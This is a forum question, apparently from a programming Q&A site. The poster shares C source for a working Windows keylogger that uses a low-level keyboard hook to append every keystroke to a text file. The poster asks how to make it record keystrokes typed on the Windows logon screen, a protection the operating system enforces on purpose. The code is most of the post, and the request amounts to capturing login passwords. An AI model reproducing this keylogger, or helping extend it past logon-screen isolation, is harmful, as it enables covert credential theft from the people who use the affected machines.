I got this code for keylogging in C. It does not work for Windows OS logon screen, I think that OS blocks it somehow. What can be done to allow logging in the login screen?
#include <stdio.h>
#include <windows.h>
HHOOK hook;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
KBDLLHOOKSTRUCT *kbdStruct = (KBDLLHOOKSTRUCT *)lParam;
BYTE keyboardState[256];
WCHAR unicodeBuffer[5]; // To store the Unicode character
if (GetKeyboardState(keyboardState)) {
if (ToUnicode(kbdStruct->vkCode, kbdStruct->scanCode, keyboardState, unicodeBuffer, 4, 0) > 0) {
FILE *file = fopen("game_key_press.txt", "a");
if (file != NULL) {
fwprintf(file, L"Key pressed: %cn", unicodeBuffer[0]);
fclose(file);
}
}
}
}
}
return CallNextHookEx(hook, nCode, wParam, lParam);
}
int main() {
hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
if (hook == NULL) {
printf("Failed to set hookn");
return 1;
}
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hook);
return 0;
}
New contributor
Skywater is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
16